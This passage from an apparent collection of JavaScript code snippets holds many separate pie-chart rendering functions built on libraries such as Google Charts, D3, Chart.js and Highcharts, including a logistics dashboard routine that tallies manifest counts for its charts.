break;\r\n\t \t\t\t default:\r\n\t \t\t\t color = \"#4D5360\";\r\n\t \t\t\t}\r\n\t \t\t\t if(mediaValues.length==1){\r\n\t \t\t\t\t jsonUnit = \"[\"+jsonUnit + JSON.stringify({\"value\":mediaValues[i],\"label\":mediaLabels[i],\"color\":color,\"highlight\":highlight}) + \"]\";\r\n\t \t\t\t\t break;\r\n\t \t\t\t }\r\n\t \t\t\t if(i==0){\r\n\t \t\t\t\t jsonUnit = \"[\"+jsonUnit + JSON.stringify({\"value\":mediaValues[i],\"label\":mediaLabels[i],\"color\":color,\"highlight\":highlight});\r\n\t \t\t\t }\r\n\t \t\t\t if(i>0 && i<mediaValues.length-1){\r\n\t \t\t\t\t jsonUnit = jsonUnit+\",\" + JSON.stringify({\"value\":mediaValues[i],\"label\":mediaLabels[i],\"color\":color,\"highlight\":highlight});\r\n\t \t\t\t }\r\n\t \t\t\t if(i==mediaValues.length-1){\r\n\t \t\t\t\t jsonUnit = jsonUnit +\",\" + JSON.stringify({\"value\":mediaValues[i],\"label\":mediaLabels[i],\"color\":color,\"highlight\":highlight})+\"]\";\r\n\t \t\t\t }\r\n\t \t\t }\r\n\t \t\t return JSON.parse(jsonUnit);\r\n\t \t }", "function getChartPie(chartType, year, pieid, canvasid){\r\n\r\n let dummyObject = {\r\n \"type\":\"pie3d\",\r\n \"title\":{\r\n \"text\": \"Year: \" + year, \r\n },\r\n \"scale\":{\r\n \"size-factor\": 0.7, \r\n },\r\n \"series\":[ \r\n {\"text\": \"Home\",\r\n \"values\":[59]}, \r\n ]\r\n };\r\n\r\n\r\n let JobjectPath = \"JsonObjects/\" + \"trend_\" + year + \"_JO.json\"; \r\n\r\n\r\n $.getJSON(JobjectPath, function(data){\r\n\r\n let dummy = dummyObject[\"series\"]; \r\n\r\n //Primary Object\r\n let loop2primary = data[\"data\"]; \r\n let labelData_Primary = loop2primary[\"labels\"]; \r\n loop2primary = loop2primary[\"datasets\"]; \r\n let frequency_Primary = loop2primary[0][\"data\"]; \r\n\r\n let seriesObj = new Object(); \r\n\r\n for(let i=0; i<5; i++){\r\n seriesObj = new Object(); \r\n seriesObj.text = labelData_Primary[i]; \r\n seriesObj.values = [Number(frequency_Primary[i])]; \r\n dummy[i] = seriesObj; \r\n }\r\n\r\n zingchart.render({ \r\n id : pieid, \r\n data : dummyObject, \r\n height: 220, \r\n width: \"100%\" \r\n });\r\n\r\n // $('#' + pieid).remove();\r\n // $('#Canvas' + canvasid).append(\"<canvas id=\" + \"\\'\" + pieid + \"\\'\" + 'width=\"350\" height=\"220\"></canvas>');\r\n // ctx = document.getElementById(pieid).getContext('2d');\r\n // var myChart = new Chart(ctx, dummyObject); \r\n });\r\n}", "function costruttoreGraficoPie(datiLabels, dati) {\n if ($.isEmptyObject(pieChart)) {\n pieChart = new Chart($('#grafico-pie'), {\n type: 'pie',\n data: {\n labels: datiLabels,\n datasets: [{\n label: 'Vendite Mensili',\n data: dati,\n backgroundColor: ['lightgreen', 'lightblue', 'lightcoral', 'yellow']\n }]\n },\n options: {\n responsive: true,\n tooltips: {\n callbacks: {\n label: function(tooltipItem, data) {\n return data['labels'][tooltipItem['index']] + ': ' + data['datasets'][0]['data'][tooltipItem['index']] + '%';\n }\n }\n }\n }\n });\n } else {\n pieChart.data.labels = datiLabels;\n pieChart.data.datasets[0].data = dati;\n pieChart.update();\n }\n}", "function pieChart(pD){\n let pC={}, pieDim={w:250, h:250};\n pieDim.r=Math.min(pieDim.w,pieDim.h)/2;\n\n let piesvg =d3.select(id).append(\"svg\")\n .attr(\"width\",pieDim.w).attr(\"height\",pieDim.h).append(\"g\")\n .attr(\"transform\",\"translate(\"+pieDim.w/2+\",\"+pieDim.h/2+\")\");\n\n let arc =d3.svg.arc().outerRadius(pieDim.r-10).innerRadius(0);\n\n let pie =d3.layout.pie().sort(null).value(function(d){return d.freq;});\n\n piesvg.selectAll(\"path\").data(pie(pD)).enter().append(\"path\").attr(\"d\",arc)\n .each(function(d){this._current=d;})\n .style(\"fill\",function(d){return segColor(d.data.type);})\n .on(\"mouseover\",mouseover).on(\"mouseout\",mouseout);\n\n pC.update=function(nD){\n piesvg.selectAll(\"path\").data(pie(nD)).transition().duration(500)\n .attrTween(\"d\",arcTween);\n }\n\n function mouseover(d){\n hG.update(fData.map(function(v){\n return [v.State,v.freq[d.data.type]];}),segColor(d.data.type));\n }\n function mouseout(d){\n hG.update(fData.map(function(v){\n return [v.State,v.total];}),barColor);\n }\n function arcTween(a){\n let i =d3.interpolate(this._current,a);\n this._current = i(0);\n return function(t){return arc(i(t)); };\n }\n return pC;\n }", "function drawChart() {\n\n // Create the data table.\n var data = new google.visualization.DataTable();\n data.addColumn('string', 'Topping');\n data.addColumn('number', 'Slices');\n data.addRows(rendergrafica);\n\n // Set chart options\n var options = {\n 'title': 'Cantidad de laboratorios por categoria',\n\n\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart.draw(data, options);\n\n }", "function drawChart() {\n\t\t// get the data from the table\n\t\t$(\".pie-chartify\").each( function(i,e){\n\t\t\tvar id = \"chart-\" + i,\n\t\t\t\tdt = dataTableFromTable( e ),\n\t\t\t\topt = {\n\t\t\t\t\t'pieSliceText': 'none',\n\t\t\t\t\t'tooltip': {\n\t\t\t\t\t\t'text': 'percentage'\n\t\t\t\t\t},\n\t\t\t\t\t'chartArea': {\n\t\t\t\t\t'width': '90%',\n\t\t\t\t\t\t'height': '90%'\n\t\t\t\t\t},\n\t\t\t\t\t'width': 600,\n\t\t\t\t\t'height': 400,\n\t\t\t\t\t'legend': {\n\t\t\t\t\t\tposition: 'labeled'\n\t\t\t\t\t},\n\t\t\t\t\t'fontName': 'Helvetica',\n\t\t\t\t\t'fontSize': 14,\n\t\t\t\t\t\"is3D\": true\n\t\t\t\t},\n\t\t\t\tc;\n\t\t\t$(this).after(\"<div class='piechart' id='\" + id + \"'></div>\");\n\n\t\t\tc = new google.visualization.PieChart(\n\t\t\t\tdocument.getElementById(id)\n\t\t\t);\n\t\t\tc.draw(dt, opt);\n\t\t});\n\t}", "function pieChart(pD){\n var pC ={}, pieDim ={w:250, h: 250};\n pieDim.r = Math.min(pieDim.w, pieDim.h) / 2;\n \n // create svg for pie chart.\n var piesvg = d3.select(id).append(\"svg\")\n .attr(\"width\", pieDim.w).attr(\"height\", pieDim.h).append(\"g\")\n .attr(\"transform\", \"translate(\"+pieDim.w/2+\",\"+pieDim.h/2+\")\");\n \n // create function to draw the arcs of the pie slices.\n var arc = d3.svg.arc().outerRadius(pieDim.r - 10).innerRadius(0);\n\n // create a function to compute the pie slice angles.\n var pie = d3.layout.pie().sort(null).value(function(d) { return d.total; });\n\n // Draw the pie slices.\n piesvg.selectAll(\"path\").data(pie(pD)).enter().append(\"path\").attr(\"d\", arc)\n .each(function(d) { this._current = d; })\n .style(\"fill\", function(d) {\n \t//var tempCol = getAColor();\n \t//namesAndColors[d.type] = tempCol;\n \t//return tempCol;\n \t//tempVariableHolder = d;\n \t//alert(\"hold\");\n \treturn matchColor(d.data.type);\n });\n //.on(\"mouseover\",mouseover).on(\"mouseout\",mouseout);\n\n // create function to update pie-chart. This will be used by histogram.\n pC.update = function(nD){\n piesvg.selectAll(\"path\").data(pie(nD)).transition().duration(500)\n .attrTween(\"d\", arcTween);\n } \n\n /* \n // Utility function to be called on mouseover a pie slice.\n function mouseover(d){\n // call the update function of histogram with new data.\n hG.update(fData.map(function(v){ \n return [v.State,v.freq[d.data.type]];}),segColor(d.data.type));\n }\n //Utility function to be called on mouseout a pie slice.\n function mouseout(d){\n // call the update function of histogram with all data.\n hG.update(fData.map(function(v){\n return [v.State,v.total];}), barColor);\n }\n\t\t*/\n\n // Animating the pie-slice requiring a custom function which specifies\n // how the intermediate paths should be drawn.\n function arcTween(a) {\n var i = d3.interpolate(this._current, a);\n this._current = i(0);\n return function(t) { return arc(i(t)); };\n } \n\n pieExists = true;\n return pC;\n }", "function pieChart(pD) {\n var pC = {}, pieDim = { w: 300, h: 300 };\n pieDim.r = Math.min(pieDim.w, pieDim.h) / 2;\n\n // create svg for pie chart.\n var piesvg = d3.select(\"#bottom\").append(\"svg\")\n .style(\"vertical-align\", \"top\").style(\"margin-right\", \"25px\")\n .attr(\"width\", pieDim.w).attr(\"height\", pieDim.h).append(\"g\")\n .attr(\"transform\", \"translate(\" + pieDim.w / 2 + \",\" + pieDim.h / 2 + \")\");\n\n // create function to draw the arcs of the pie slices.\n var arc = d3.svg.arc().outerRadius(pieDim.r - 10).innerRadius(0);\n\n // create a function to compute the pie slice angles.\n var pie = d3.layout.pie().sort(null).value(function (d) { return d.ctys_sum; });\n\n // Draw the pie slices.\n piesvg.selectAll(\"path\").data(pie(pD)).enter().append(\"path\").attr(\"d\", arc)\n .each(function (d) { this._current = d; })\n .style(\"fill\", function (d) { return segColor(d.data.type); })\n .on(\"mouseover\", mouseover).on(\"mouseout\", mouseout);\n\n // create function to update pie-chart. This will be used by histogram.\n pC.update = function (nD) {\n piesvg.selectAll(\"path\").data(pie(nD)).transition().duration(500)\n .attrTween(\"d\", arcTween);\n }\n // Utility function to be called on mouseover a pie slice.\n function mouseover(d) {\n // call the update function of histogram with new data.\n hG.update(fData.map(function (v) {\n return [v.month, v.ctys_sum[d.data.type]];\n }), segColor(d.data.type));\n }\n //Utility function to be called on mouseout a pie slice.\n function mouseout(d) {\n // call the update function of histogram with all data.\n hG.update(fData.map(function (v) {\n return [v.month, v.total];\n }), barColor);\n }\n // Animating the pie-slice requiring a custom function which specifies\n // how the intermediate paths should be drawn.\n function arcTween(a) {\n var i = d3.interpolate(this._current, a);\n this._current = i(0);\n return function (t) { return arc(i(t)); };\n }\n return pC;\n }", "function drawSegmentValues(myPie) {\n\n //document.getElementById(\"doughnut-chart\").getContext(\"2d\");\n \n // var test = myPie.segments.length;\n // alert('drawSegmentValues' + test );\n //alert('width chart test== '+ test.width);\n //var test2 = test.getContext(\"2d\").segments.length;\n //alert('drow chart test 2==++== ' + test2);\n}", "function drawPie(){\n\n $(series).each(function(i){\n var singleSeries = sortData(series[i]);\n\n if(singleSeries.length > 1) {\n\n $(singleSeries).each(function(j){\n var wedge = drawWedge(singleSeries[j], j);\n wedges.push(wedge);\n wedgeRobjs.push(wedge.rObj);\n });\n\n }\n else {\n graph.paper.circle(center.x, center.y, radius).attr('fill', graph.options.colors[0]);\n }\n });\n\n flags = graph.$el.find('.elroi-point-flag');\n flags.hide();\n\n selectedWedge = wedges[0];\n if(graph.options.animation) {\n \twedgeRobjs.attr({opacity: 0});\n\t\t\t\twedgeRobjs.animate({ opacity: 1}, 300, function(){ selectWedge(selectedWedge); });\n\t\t\t} else {\n\t\t\t\tselectWedge(selectedWedge);\n\t\t\t}\n\n $(wedges).each(function(i){\n\n var wedge = this;\n\n wedge.rObj.click(function(){\n selectWedge(wedge);\n });\n\n });\n\n }", "render(budget_expense_series, viewing_income, grand_total) {\n this.chart = new Highcharts.Chart({\n chart: {\n renderTo: this.el,\n backgroundColor: null\n },\n credits: {\n text: \"[Budget 2013]\",\n href: \"http://www.treasury.govt.nz/\"\n },\n title: {\n text: this.render_title_text(viewing_income, grand_total),\n margin: 20,\n style: {\n fontSize: \"16px\",\n \"font-family\": \"Helvetica, Arial, sans-serif\"\n }\n },\n tooltip: {\n formatter: format_tooltip\n },\n legend: {\n enabled: false\n },\n series: [{\n type: \"pie\",\n data: budget_expense_series,\n size: \"100%\"\n }],\n plotOptions: {\n pie: {\n allowPointSelect: true,\n cursor: \"pointer\",\n dataLabels: {\n formatter() {\n // Draw a label for only thick slices.\n if (this.percentage > 5.6) {\n // Split long labels every two words.\n return this.point.name.replace(/(\\w+ \\w+)/g, \"$1<br/>\");\n }\n },\n distance: -70,\n style: {\n font: \"normal 11px sans-serif\"\n },\n // A little nudging to keep text inside their slices.\n y: -4\n },\n point: {\n events: {\n mouseOver() { return appModel.trigger(\"dept_mouseover\", this.name); },\n select() { return appModel.trigger(\"dept_select\", this.name); }\n }\n }\n }\n }\n });\n }", "function dibujar()\r\n {\r\n var data = new google.visualization.DataTable();\r\n data.addColumn('string', 'Hombres');\r\n data. addColumn('string','Mujeres');\r\n data.addRows(\r\n [\r\n ['Hombres',counterh],\r\n ['Mujeres',counterm]\r\n ]\r\n );\r\n var opciones = {'title':'Género',\r\n 'width':500,\r\n 'height':300};\r\n var grafica = new google.visualization.PieChart(document.getElementById('charts'));\r\n grafica.draw(data, opciones);\r\n }", "function drawPie(chart_drawboard, data_array, chart_title) {\n var data = google.visualization.arrayToDataTable(data_array);\n\n var options = {title: chart_title,\n is3D: true,\n backgroundColor: { fill:'transparent' }};\n\n var chart = new google.visualization.PieChart(document.getElementById(chart_drawboard));\n chart.draw(data, options);\n }", "function show_routine_pie_type(ndx) {\n var routineDim = ndx.dimension(dc.pluck('type'));\n\n var totalRoutineAppointmentsGroup = routineDim.group().reduceSum(dc.pluck('routine')); \n dc.pieChart(\"#routine_type_pie\")\n \n .dimension(routineDim)\n .group(totalRoutineAppointmentsGroup)\n .transitionDuration(1500)\n .innerRadius(20); \n \n\n}", "function drawChart1() {\n\n // Create the data table.\n var data1 = new google.visualization.DataTable();\n data1.addColumn('string', 'nombre');\n data1.addColumn('number', 'cantidad');\n data1.addRows(render);\n // Set chart options\n var options1 = {\n 'title': 'Cantidad de laboratorios por escuela sede: '+sede,\n\n\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart1 = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart1.draw(data1, options1);\n\n }", "function redrawPAR1PieChart() {\n nv.addGraph(function () {\n var chart = nv.models.pieChart()\n .x(function (d) {\n return d.label\n })\n .y(function (d) {\n return d.value\n })\n .showLabels(true);\n chart.margin({top: 200});\n\n\n d3.select(\"#PAR1piechart svg\")\n .datum(scope.PAR1pieData)\n .transition().duration(350)\n .call(chart);\n\n return chart;\n });\n }", "function drawChart() {\n\n // Create the data table.\n var data = new google.visualization.DataTable();\n data.addColumn('string', 'Topping');\n data.addColumn('number', 'Slices');\n data.addRows(rendergrafica);\n\n // Set chart options\n var options = {\n 'title': 'cantidad de pruebas por laboratorio',\n\n\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart.draw(data, options);\n\n }", "function pieChart(name, xmlurl) {\n\t$.get(xmlurl, function(xml) {\n\t\testablishSize(name, xml);\n\t\tloadBGImage(name, xml);\n\t\t$.jqplot(name, [getSlices(xml)], {\n\t\t\tseriesDefaults : {\n\t\t\t\trenderer : $.jqplot.PieRenderer,\n\t\t\t\trenderOptions : {\n\t\t\t\t\tshowDataLabels : true\n\t\t\t\t}\n\t\t\t},\n\t\t\tlegend : {\n\t\t\t\tshow : true,\n\t\t\t\tlocation : 'e'\n\t\t\t}\n\t\t});\n\t});\n}", "function piecolor() {\n DcDashboardCtrl.ePage.Masters.coloR1 = [];\n DcDashboardCtrl.ePage.Masters.coloR2 = [];\n DcDashboardCtrl.ePage.Masters.coloR3 = [];\n var dynamicColors = function () {\n var r = Math.floor(Math.random() * 255);\n var g = Math.floor(Math.random() * 255);\n var b = Math.floor(Math.random() * 255);\n return \"rgba(\" + r + \",\" + g + \",\" + b + \",\" + 0.4 + \")\";\n };\n\n for (var i in DcDashboardCtrl.ePage.Masters.ManifestSummary) {\n DcDashboardCtrl.ePage.Masters.coloR1.push(dynamicColors());\n DcDashboardCtrl.ePage.Masters.coloR2.push(dynamicColors());\n DcDashboardCtrl.ePage.Masters.coloR3.push(dynamicColors());\n }\n\n DcDashboardCtrl.ePage.Masters.InTransitManifestCount = [];\n DcDashboardCtrl.ePage.Masters.InTransitConsignmentCount = [];\n DcDashboardCtrl.ePage.Masters.InTransitItemCount = [];\n DcDashboardCtrl.ePage.Masters.InTransitlabel = [];\n\n DcDashboardCtrl.ePage.Masters.PendingManifestCount = [];\n DcDashboardCtrl.ePage.Masters.PendingConsinmentCount = [];\n DcDashboardCtrl.ePage.Masters.PendingItemCount = [];\n DcDashboardCtrl.ePage.Masters.Pendinglabel = [];\n\n for (i = 0; i < DcDashboardCtrl.ePage.Masters.ManifestSummary.length; i++) {\n if (DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ManifestStatus == \"DSP\") {\n if (DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ManifestCount != 0) {\n DcDashboardCtrl.ePage.Masters.InTransitManifestCount.push(DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ManifestCount)\n }\n if (DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ConsignmentCount != 0) {\n DcDashboardCtrl.ePage.Masters.InTransitConsignmentCount.push(DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ConsignmentCount)\n }\n if (DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ItemCount != 0) {\n DcDashboardCtrl.ePage.Masters.InTransitItemCount.push(DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ItemCount)\n }\n if (!DcDashboardCtrl.ePage.Masters.SenderTypeDetails.IsForwarder) {\n DcDashboardCtrl.ePage.Masters.InTransitlabel.push(DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ReceiverName)\n }\n if (DcDashboardCtrl.ePage.Masters.SenderTypeDetails.IsForwarder) {\n DcDashboardCtrl.ePage.Masters.InTransitlabel.push(DcDashboardCtrl.ePage.Masters.ManifestSummary[i].TransporterName)\n }\n } else if (DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ManifestStatus == \"DRF\") {\n if (DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ManifestCount != 0) {\n DcDashboardCtrl.ePage.Masters.PendingManifestCount.push(DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ManifestCount)\n }\n if (DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ConsignmentCount != 0) {\n DcDashboardCtrl.ePage.Masters.PendingConsinmentCount.push(DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ConsignmentCount)\n }\n if (DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ItemCount != 0) {\n DcDashboardCtrl.ePage.Masters.PendingItemCount.push(DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ItemCount)\n }\n DcDashboardCtrl.ePage.Masters.Pendinglabel.push(DcDashboardCtrl.ePage.Masters.ManifestSummary[i].ReceiverName)\n }\n }\n // for Receiver\n for (var i in DcDashboardCtrl.ePage.Masters.RManifestSummary) {\n DcDashboardCtrl.ePage.Masters.coloR1.push(dynamicColors());\n DcDashboardCtrl.ePage.Masters.coloR2.push(dynamicColors());\n DcDashboardCtrl.ePage.Masters.coloR3.push(dynamicColors());\n }\n DcDashboardCtrl.ePage.Masters.RToBeArrivedManifestCount = [];\n DcDashboardCtrl.ePage.Masters.RToBeArrivedConsignmentCount = [];\n DcDashboardCtrl.ePage.Masters.RToBeArrivedItemCount = [];\n DcDashboardCtrl.ePage.Masters.RBeArrivedlabel = [];\n\n DcDashboardCtrl.ePage.Masters.RTransitManifestCount = [];\n DcDashboardCtrl.ePage.Masters.RTransitConsignmentCount = [];\n DcDashboardCtrl.ePage.Masters.RTransitItemCount = [];\n DcDashboardCtrl.ePage.Masters.RTransitlabel = [];\n\n DcDashboardCtrl.ePage.Masters.RToBeArrivedDelManifestCount = [];\n DcDashboardCtrl.ePage.Masters.RToBeArrivedDelConsignmentCount = [];\n DcDashboardCtrl.ePage.Masters.RToBeArrivedDelItemCount = [];\n DcDashboardCtrl.ePage.Masters.RToBeArrivedlabel = [];\n\n DcDashboardCtrl.ePage.Masters.ArrivedManifestCount = [];\n DcDashboardCtrl.ePage.Masters.ArrivedConsignmentCount = [];\n DcDashboardCtrl.ePage.Masters.ArrivedItemCount = [];\n DcDashboardCtrl.ePage.Masters.Arrivedlabel = [];\n\n for (i = 0; i < DcDashboardCtrl.ePage.Masters.RManifestSummary.length; i++) {\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestStatus == \"DEL\") {\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestCount != 0) {\n DcDashboardCtrl.ePage.Masters.RToBeArrivedDelManifestCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestCount)\n }\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ConsignmentCount != 0) {\n DcDashboardCtrl.ePage.Masters.RToBeArrivedDelConsignmentCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ConsignmentCount)\n }\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ItemCount != 0) {\n DcDashboardCtrl.ePage.Masters.RToBeArrivedDelItemCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ItemCount)\n }\n DcDashboardCtrl.ePage.Masters.RToBeArrivedlabel.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ReceiverName)\n } else if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestStatus == \"DSP\") {\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestCount != 0) {\n DcDashboardCtrl.ePage.Masters.RToBeArrivedManifestCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestCount)\n }\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ConsignmentCount != 0) {\n DcDashboardCtrl.ePage.Masters.RToBeArrivedConsignmentCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ConsignmentCount)\n }\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ItemCount != 0) {\n DcDashboardCtrl.ePage.Masters.RToBeArrivedItemCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ItemCount)\n }\n DcDashboardCtrl.ePage.Masters.RBeArrivedlabel.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ReceiverName)\n // intransit for store - DSP - org as Receiver\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestCount != 0) {\n DcDashboardCtrl.ePage.Masters.RTransitManifestCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestCount)\n }\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ConsignmentCount != 0) {\n DcDashboardCtrl.ePage.Masters.RTransitConsignmentCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ConsignmentCount)\n }\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ItemCount != 0) {\n DcDashboardCtrl.ePage.Masters.RTransitItemCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ItemCount)\n }\n DcDashboardCtrl.ePage.Masters.RTransitlabel.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].SenderName)\n } else if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestStatus == \"ARV\") {\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestCount != 0) {\n DcDashboardCtrl.ePage.Masters.ArrivedManifestCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ManifestCount)\n }\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ConsignmentCount != 0) {\n DcDashboardCtrl.ePage.Masters.ArrivedConsignmentCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ConsignmentCount)\n }\n if (DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ItemCount != 0) {\n DcDashboardCtrl.ePage.Masters.ArrivedItemCount.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ItemCount)\n }\n\n DcDashboardCtrl.ePage.Masters.Arrivedlabel.push(DcDashboardCtrl.ePage.Masters.RManifestSummary[i].ReceiverName)\n }\n }\n // For Item\n for (var i in DcDashboardCtrl.ePage.Masters.currentStock) {\n DcDashboardCtrl.ePage.Masters.coloR1.push(dynamicColors());\n }\n\n var test1 = _.groupBy(DcDashboardCtrl.ePage.Masters.currentStock, 'SenderCode');\n DcDashboardCtrl.ePage.Masters.sumArray = [];\n DcDashboardCtrl.ePage.Masters.Itemsender = [];\n DcDashboardCtrl.ePage.Masters.ItemSumCount = [];\n for (var x in test1) {\n var test2 = _.sumBy(test1[x], function (o) {\n return o.ItemCount;\n });\n var tempObj = {\n \"SenderCode\": x,\n \"ItemCountSum\": test2\n }\n DcDashboardCtrl.ePage.Masters.sumArray.push(tempObj)\n DcDashboardCtrl.ePage.Masters.Itemsender.push(tempObj.SenderCode)\n DcDashboardCtrl.ePage.Masters.ItemSumCount.push(tempObj.ItemCountSum)\n }\n }", "function drawChart() {\n\n// Create the data table.\nvar data = new google.visualization.DataTable();\ndata.addColumn('string', 'Topping');\ndata.addColumn('number', 'Slices');\ndata.addRows([\n ['A, 5', 5],\n ['B, 3', 3],\n ['C, 6', 6],\n ['D, 9', 9],\n ['E, 2', 2],\n ['F, 2', 2],\n ['G, 1', 1]\n]);\n\n// Set chart options\nvar options = {'title':'Portafolio total',\n\t\t\t 'width':260,\n\t\t\t 'height':200};\n\n// Instantiate and draw our chart, passing in some options.\nvar chart = new google.visualization.PieChart(document.getElementById('graph'));\nchart.draw(data, options);\n}", "function drawChart() {\n\n // Create the data table.\n var data = new google.visualization.DataTable();\n data.addColumn('string', 'Topping');\n data.addColumn('number', 'Slices');\n data.addRows([\n ['Tricipital', parseInt(document.getElementById('tricipital').value, 10)],\n ['subescapular', parseInt(document.getElementById('subescapular').value, 10)],\n ['suprailiaca', parseInt(document.getElementById('suprailiaca').value, 10)],\n ['abdominal', parseInt(document.getElementById('abdominal').value, 10)],\n ['quadriceps', parseInt(document.getElementById('quadriceps').value, 10)]\n ]);\n\n // Set chart options\n var options = {\n 'title': 'Percentual de dobras cutâneas em mm³',\n 'margin': 0,\n 'padding': 0,\n 'width': 450,\n 'height': 350\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart.draw(data, options);\n }", "function drawChart() { \n var data =window.google.visualization.arrayToDataTable([\n ['Location', 'Pending Request','Approved Request'],\n ['Bangalore', 8,10],\n ['Gurgaon', 2,12],\n ['Chennai', 4,2],\n ['UK', 2,8],\n ]);\n var options = {'width':500, 'height':300};\n var chart = new window.google.visualization.PieChart(document.getElementById(self.props.id));\n chart.draw(data, options); \n }", "function drawChart() {\r\n var data = google.visualization.arrayToDataTable([\r\n ['Task', 'Hours per Day'],\r\n ['windows', 8],\r\n ['MacOS', 4],\r\n ['Android', 1],\r\n ['iOS', 2],\r\n ['その他', 2]\r\n]);\r\n\r\n // Optional; add a title and set the width and height of the chart\r\n var options = {'width':400, 'height':260};\r\n\r\n // Display the chart inside the <div> element with id=\"piechart\"\r\n var chart = new google.visualization.PieChart(document.getElementById('checkOs'));\r\n chart.draw(data, options);\r\n}", "function pieChartProvider(){\n\tvar pieChartProviderImpl = {\n\t\t\tsvg : null,\n\t\t\taxisProvider : null,\n\t\t\tdata : [],\n\t\t\tdataX:\"\",\n\t\t\tdataY:\"\",\n\t\t\tyTitle:\"\",\n\t\t\txTitle:\"\",\n\t\t\ttitle:\"\",\n\t\t\teffect : null,\n\t\t\tanimate : true,\n\t\t\tfilterIgnoreList :[\"url(#turb)\",\"url(#blur)\"],\n\t\t\tdraw : function(){\n\t\t\t\tconsole.log(\"Drawing pie chart.\");\n\t\t\t\tthis.svg.selectAll(\".arc\").remove();\n\t\t\t\tvar width = this.axisProvider.width;\n\t\t\t\tvar height = this.axisProvider.height;\n\t\t\t\tvar dataX = this.dataX;\n\t\t\t\tvar dataY = this.dataY;\n\t\t\t\tvar radius = Math.min(width, height) / 2;\n\t\t\t\t \n\t\t\t var color = d3.scale.category10();\n\t\t\t \n\t\t\t var arc = d3.svg.arc()\n\t\t\t .outerRadius(radius - 10)\n\t\t\t .innerRadius(15);\n\t\t\t var pie = d3.layout.pie()\n\t\t\t .sort(null)\n\t\t\t .value(function(d) { return d.values; });\n\t\t\t \n\t\t\t var nestedData = d3.nest()\n\t\t\t .key(function(d){return d[dataX];})\n\t\t\t .rollup(function(leaves){return d3.sum(leaves,function(d){return +d[dataY];});})\n\t\t\t \t\t\t.entries(this.data);\n\t\t\t \n\t\t\t var g = this.svg.append(\"g\")\n\t\t\t \t\t\t\t.attr(\"class\", \"arc\")\n \t\t\t\t.attr(\"filter\",getFilter(this.effect))\n \t\t\t\t\t.attr(\"transform\", \"translate(\" + width / 2 + \",\" + height / 2 + \")\")\n \t\t\t\t\t.selectAll(\".arc\")\n \t\t\t\t\t.data(pie(nestedData))\n \t\t\t\t\t\t.enter().append(\"g\");\n\t\t\t \n \t\t\t\t\tg.attr(\"class\", \"arc\")\n \t\t\t\t\t\t.append(\"path\")\n \t\t\t\t\t\t.attr(\"d\", arc)\n \t\t\t\t\t\t.style(\"fill\", function(d) { return color(d.data.key); });\n\t\t\t \n\t\t\t g.data(pie(nestedData))\n\t\t\t \t .append(\"text\")\n\t\t\t .attr(\"transform\", function(d) { return \"translate(\" + arc.centroid(d) + \")\"; })\n\t\t\t .attr(\"dy\", \"0.35em\")\n\t\t\t .style(\"text-anchor\", \"middle\")\n\t\t\t .text(function(d) { return d.data.key+\"(\"+d.data.values+\")\"; });\n\t\t\t \n\t\t\t //Y axis title\n\t\t\t\t/*this.svg.append(\"g\")\n\t\t\t\t.attr(\"class\",\"axisLabel\")\n\t\t\t .append(\"text\")\n\t\t\t .attr(\"class\",\"axisLabel\")\n\t\t\t .attr(\"transform\", \"rotate(-90)\")\n\t\t\t .text(this.yTitle)\n\t\t\t .attr(\"text-anchor\",\"middle\")\n\t\t\t .attr(\"x\",-((height/2)))\n\t\t\t .attr(\"y\",-30);*/\n\t\t\t\t//X axis title\n\t\t\t /*this.svg.append(\"g\")\n\t\t\t .attr(\"class\",\"axisLabel\")\n\t\t\t 